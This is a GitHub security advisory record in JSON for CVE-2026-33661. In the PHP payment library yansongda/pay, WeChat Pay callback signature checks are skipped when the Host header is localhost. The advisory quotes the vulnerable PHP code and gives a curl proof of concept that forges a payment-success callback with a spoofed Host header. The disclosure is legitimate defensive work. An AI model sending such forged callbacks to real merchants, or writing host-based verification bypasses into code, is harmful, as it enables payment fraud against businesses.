CVE-2026-33661: Yansongda/pay WeChat Pay Callback Signature Verification Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-q938-ghwv-8gvc",
  "modified" : "2026-03-27T22:10:51Z",
  "published" : "2026-03-25T19:30:09Z",
  "aliases" : [ "CVE-2026-33661" ],
  "summary" : "WeChat Pay callback signature verification bypassed when Host header is localhost",
  "details" : "## Summary\n\nThe `verify_wechat_sign()` function in `src/Functions.php` unconditionally **skips all signature verification** when the PSR-7 request reports `localhost` as the host. An attacker can exploit this by sending a crafted HTTP request to the WeChat Pay callback endpoint with a `Host: localhost` header, bypassing the RSA signature check entirely.\n\nThis allows forging fake WeChat Pay payment success notifications, potentially causing applications to mark orders as paid without actual payment.\n\n## Vulnerable Code\n\n**`src/Functions.php` lines 243-246:**\n```php\nfunction verify_wechat_sign(ResponseInterface|ServerRequestInterface $message, array $params): void\n{\n    // BYPASS: Returns without any signature check if Host header is localhost\n    if ($message instanceof ServerRequestInterface && 'localhost' === $message->getUri()->getHost()) {\n        return;  // No signature verified!\n    }\n\n    // ... openssl_verify() only reached when Host != localhost\n    $wechatSerial = $message->getHeaderLine('Wechatpay-Serial');\n    $sign = $message->getHeaderLine('Wechatpay-Signature');\n    $result = 1 === openssl_verify($content, base64_decode($sign), $public, 'sha256WithRSAEncryption');\n}\n```\n\nIn PSR-7 implementations (Nyholm, Guzzle PSR-7, etc.), `$request->getUri()->getHost()` reads the `Host` HTTP header, which is fully attacker-controlled.\n\n## Proof of Concept\n\n```bash\ncurl -X POST https://merchant.example.com/payment/wechat/callback \\\n  -H \"Host: localhost\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Wechatpay-Serial: any\" \\\n  -H \"Wechatpay-Timestamp: 1234567890\" \\\n  -H \"Wechatpay-Nonce: abc\" \\\n  -H \"Wechatpay-Signature: AAAA\" \\\n  -d '{\"id\":\"fake-order\",\"event_type\":\"TRANSACTION.SUCCESS\"}'\n```\n\n`verify_wechat_sign()` returns immediately without verifying the signature. The application marks the order as paid.\n\n## Impact\n\n- **Payment fraud**: Attacker receives goods/services without actual payment by forging WeChat Pay callbacks\n- **No authentication required**: Pure network attack, zero privileges needed\n- **Wide reach**: Affects any application using `yansongda/pay` for WeChat Pay callback validation. However, in most environments, Nginx/Ingress/Cloudflare/WAF will directly reject the forgery of this request header, so there is no need to worry too much.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "yansongda/pay"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.7.20"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.7.19"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/yansongda/pay/security/advisories/GHSA-q938-ghwv-8gvc"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33661"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/yansongda/pay/commit/26987ebf789f1e7f0a85febb640986ab4289fd7f"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/yansongda/pay"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/yansongda/pay/releases/tag/v3.7.20"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-290" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-25T19:30:09Z",
    "nvd_published_at" : "2026-03-26T22:16:29Z"
  }
}